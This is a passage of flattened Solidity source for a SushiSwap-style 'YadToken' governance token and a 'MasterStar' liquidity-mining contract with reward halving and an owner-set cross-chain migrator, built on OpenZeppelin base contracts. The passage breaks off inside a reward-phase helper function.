* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.2;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.2;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/YadToken.sol
pragma solidity 0.6.2;
// YadToken with Governance.
contract YadToken is ERC20("YadToken", "Yad"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// transfers delegate authority when sending a token.
// https://medium.com/bulldax-finance/sushiswap-delegation-double-spending-bug-5adcc7b3830f
function _transfer(address sender, address recipient, uint256 amount) internal override virtual {
super._transfer(sender, recipient, amount);
_moveDelegates(_delegates[sender], _delegates[recipient], amount);
}
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Yad::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Yad::delegateBySig: invalid nonce");
require(now <= expiry, "Yad::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "Yad::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying Yads (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "Yad::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// File: contracts/MasterStar.sol
pragma solidity 0.6.2;
interface IMigratorStar {
// Perform LP token migration from legacy UniswapV2 to YadSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
// Move Asset to conflux chain mint cToken
function migrate(IERC20 token) external returns (IERC20);
}
// MasterStar is the master of Yad. He can make Yad and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once Yad is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterStar is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of Yads
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accYadPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accYadPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. Yads to distribute per block.
uint256 lastRewardBlock; // Last block number that Yads distribution occurs.
uint256 accTokenPerShare; // Accumulated Yads per share, times 1e12. See below.
uint256 tokenPerBlock; // Flag halve block amount
bool finishMigrate; // migrate crosschain finish pause
uint256 lockCrosschainAmount; // flag crosschain amount
}
// The Yad TOKEN!
YadToken public token;
// Dev address.
address public devaddr;
// Early bird plan Lp address.
address public earlybirdLpAddr;
// Block number when genesis bonus Yad period ends.
uint256 public genesisEndBlock;
// Yad tokens created per block. the
uint256 public firstTokenPerBlock;
// Yad tokens created per block. the current halve logic
uint256 public currentTokenPerBlock;
// Bonus muliplier for early Token makers.
uint256 public constant BONUS_MULTIPLIER = 10;
// Total Miner Token
uint256 public constant MAX_TOKEN_MINER = 1e18 * 1e8; // 100 million
// Early bird plan Lp Mint Yad Token
uint256 public constant BIRD_LP_MINT_TOKEN_NUM = 1250000 * 1e18;
// Total Miner Token
uint256 public totalMinerToken;
// Genesis Miner BlockNum
uint256 public genesisMinerBlockNum = 50000;
// halve blocknum
uint256 public halveBlockNum = 5000000;
// Total mint block num
uint256 public totalMinerBlockNum = genesisMinerBlockNum + halveBlockNum * 4; // About four years
// Flag Start Miner block
uint256 public firstMinerBlock;
// max miner block, it is end miner
uint256 public maxMinerBlock;
// lastHalveBlock
uint256 public lastHalveBlock;
// migrate Yad crosschain pool manager
mapping(uint256 => address) public migratePoolAddrs;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorStar public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when Token mining starts.
uint256 public startBlock;
mapping(address => uint256) internal poolIndexs;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event TokenConvert(address indexed user, uint256 indexed pid, address to, uint256 amount);
event MigrateWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
YadToken _Yad,
address _devaddr,
uint256 _tokenPerBlock,
uint256 _startBlock
) public {
token = _Yad;
devaddr = _devaddr;
firstTokenPerBlock = _tokenPerBlock; // 100000000000000000000 1e18
currentTokenPerBlock = firstTokenPerBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// admin mint early bird Lp token only once
function mintEarlybirdToken(address to) public onlyOwner {
require(earlybirdLpAddr == address(0) && to != address(0), "mint early bird token once");
earlybirdLpAddr = to;
totalMinerToken = totalMinerToken.add(BIRD_LP_MINT_TOKEN_NUM);
token.mint(earlybirdLpAddr, BIRD_LP_MINT_TOKEN_NUM);
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
require(poolIndexs[address(_lpToken)] < 1, "LpToken exists");
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
tokenPerBlock: currentTokenPerBlock,
accTokenPerShare: 0,
finishMigrate: false,
lockCrosschainAmount:0
}));
poolIndexs[address(_lpToken)] = poolInfo.length;
}
// Update the given pool's Token allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorStar _migrator) public onlyOwner {
migrator = _migrator;
}
// Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good.
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
require(migratePoolAddrs[_pid] != address(0), "migrate: no cYad address");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
pool.finishMigrate = true;
}
// when migrate must set pool cross chain
function setCrosschain(uint256 _pid, address cYadAddr) public onlyOwner {
PoolInfo storage pool = poolInfo[_pid];
require(cYadAddr != address(0), "address invalid");
migratePoolAddrs[_pid] = cYadAddr;
}
// View function to see pending Token on frontend.
function pendingToken(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accTokenPerShare = pool.accTokenPerShare;
//uint256 lpSupply = pool.lpToken.balanceOf(address(this));
uint256 lpSupply = pool.lockCrosschainAmount.add(pool.lpToken.balanceOf(address(this)));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
(uint256 genesisPoolReward, uint256 productionPoolReward) = _getPoolReward(pool, pool.tokenPerBlock, pool.tokenPerBlock.div(2));
(, uint256 lpStakeTokenNum) =
_assignPoolReward(genesisPoolReward, productionPoolReward);
accTokenPerShare = accTokenPerShare.add(lpStakeTokenNum.mul(1e12).div(lpSupply));
}
return user.amount.mul(accTokenPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lockCrosschainAmount.add(pool.lpToken.balanceOf(address(this)));
//uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
(uint256 genesisPoolReward, uint256 productionPoolReward) =
_getPoolReward(pool, pool.tokenPerBlock, pool.tokenPerBlock.div(2));
totalMinerToken = totalMinerToken.add(genesisPoolReward).add(productionPoolReward);
(uint256 devTokenNum, uint256 lpStakeTokenNum) =
_assignPoolReward(genesisPoolReward, productionPoolReward);
if(devTokenNum > 0){
token.mint(devaddr, devTokenNum);
}
if(lpStakeTokenNum > 0){
token.mint(address(this), lpStakeTokenNum);
}
pool.accTokenPerShare = pool.accTokenPerShare.add(lpStakeTokenNum.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number > maxMinerBlock ? maxMinerBlock : block.number;
// when migrate, and user cross
if(lpStakeTokenNum > 0 && pool.finishMigrate){
_transferMigratePoolAddr(_pid, pool.accTokenPerShare);
}
if(block.number <= maxMinerBlock && (
(lastHalveBlock > 0 && block.number > lastHalveBlock && block.number.sub(lastHalveBlock) >= halveBlockNum) ||
(lastHalveBlock == 0 && block.number > genesisEndBlock && block.number.sub(genesisEndBlock) >= halveBlockNum)
)){
lastHalveBlock = lastHalveBlock == 0 ?
genesisEndBlock.add(halveBlockNum) : lastHalveBlock.add(halveBlockNum);
currentTokenPerBlock = currentTokenPerBlock.div(2);
pool.tokenPerBlock = currentTokenPerBlock;
}
}
// Deposit LP tokens to MasterStar for Token allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
require(!pool.finishMigrate, "migrate not deposit");
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accTokenPerShare).div(1e12).sub(user.rewardDebt);
safeTokenTransfer(msg.sender, pending);
}
if(firstMinerBlock == 0 && _amount > 0){ // first deposit
firstMinerBlock = block.number > startBlock ? block.number : startBlock;
genesisEndBlock = firstMinerBlock.add(genesisMinerBlockNum);
maxMinerBlock = firstMinerBlock.add(totalMinerBlockNum);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterStar.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(_amount > 0, "user amount is zero");
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accTokenPerShare).div(1e12).sub(user.rewardDebt);
safeTokenTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accTokenPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
if(pool.finishMigrate) { // finish migrate record user withdraw lpToken
pool.lockCrosschainAmount = pool.lockCrosschainAmount.add(_amount);
_depositMigratePoolAddr(_pid, pool.accTokenPerShare, _amount);
emit MigrateWithdraw(msg.sender, _pid, _amount);
}
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
require(_amount > 0, "user amount is zero");
user.amount = 0;
user.rewardDebt = 0;
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
if(pool.finishMigrate){ //finish migrate record user withdraw lpToken
pool.lockCrosschainAmount = pool.lockCrosschainAmount.add(_amount);
_depositMigratePoolAddr(_pid, pool.accTokenPerShare, _amount);
emit MigrateWithdraw(msg.sender, _pid, _amount);
}
}
// Safe Token transfer function, just in case if rounding error causes pool to not have enough Tokens.
function safeTokenTransfer(address _to, uint256 _amount) internal {
uint256 tokenBal = token.balanceOf(address(this));
if (_amount > tokenBal) {
token.transfer(_to, tokenBal);
} else {
token.transfer(_to, _amount);
}
}
// users convert LpToken crosschain conflux
function tokenConvert(uint256 _pid, address _to) public {
PoolInfo storage pool = poolInfo[_pid];
require(pool.finishMigrate, "migrate is not finish");
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
require(_amount > 0, "user amount is zero");
updatePool(_pid);
uint256 pending = _amount.mul(pool.accTokenPerShare).div(1e12).sub(user.rewardDebt);
safeTokenTransfer(msg.sender, pending);
user.amount = 0;
user.rewardDebt = 0;
pool.lpToken.safeTransfer(_to, _amount);
pool.lockCrosschainAmount = pool.lockCrosschainAmount.add(_amount);
_depositMigratePoolAddr(_pid, pool.accTokenPerShare, _amount);
emit TokenConvert(msg.sender, _pid, _to, _amount);
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
// after migrate, deposit LpToken same amount
function _depositMigratePoolAddr(uint256 _pid, uint256 _poolAccTokenPerShare, uint256 _amount) internal
{
address migratePoolAddr = migratePoolAddrs[_pid];
require(migratePoolAddr != address(0), "address invaid");
UserInfo storage user = userInfo[_pid][migratePoolAddr];
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(_poolAccTokenPerShare).div(1e12);
}
// after migrate, mint LpToken's Yad to address
function _transferMigratePoolAddr(uint256 _pid, uint256 _poolAccTokenPerShare) internal
{
address migratePoolAddr = migratePoolAddrs[_pid];
require(migratePoolAddr != address(0), "address invaid");
UserInfo storage user = userInfo[_pid][migratePoolAddr];
if(user.amount > 0){
uint256 pending = user.amount.mul(_poolAccTokenPerShare).div(1e12).sub(user.rewardDebt);
safeTokenTransfer(migratePoolAddr, pending);
user.rewardDebt = user.amount.mul(_poolAccTokenPerShare).div(1e12);
}
}
function _getPoolReward(PoolInfo memory pool,
uint256 beforeTokenPerBlock,
uint256 afterTokenPerBlock) internal view returns(uint256, uint256){
(uint256 genesisBlocknum, uint256 beforeBlocknum, uint256 afterBlocknum)
= _getPhaseBlocknum(pool);
uint256 _genesisPoolReward = genesisBlocknum.mul(BONUS_MULTIPLIER).mul(firstTokenPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
uint256 _beforePoolReward = beforeBlocknum.mul(beforeTokenPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
uint256 _afterPoolReward = afterBlocknum.mul(afterTokenPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
uint256 _productionPoolReward = _beforePoolReward.add(_afterPoolReward);
// ignore genesis poolReward
if(totalMinerToken.add(_productionPoolReward) > MAX_TOKEN_MINER){
_productionPoolReward = totalMinerToken > MAX_TOKEN_MINER ? 0 : MAX_TOKEN_MINER.sub(totalMinerToken);
}
return (_genesisPoolReward, _productionPoolReward);
}
function _getPhaseBlocknum(PoolInfo memory pool) internal view returns(
uint256 genesisBlocknum,
uint256 beforeBlocknum,
uint256 afterBlocknum
){
genesisBlocknum = 0;
beforeBlocknum = 0;
afterBlocknum = 0;
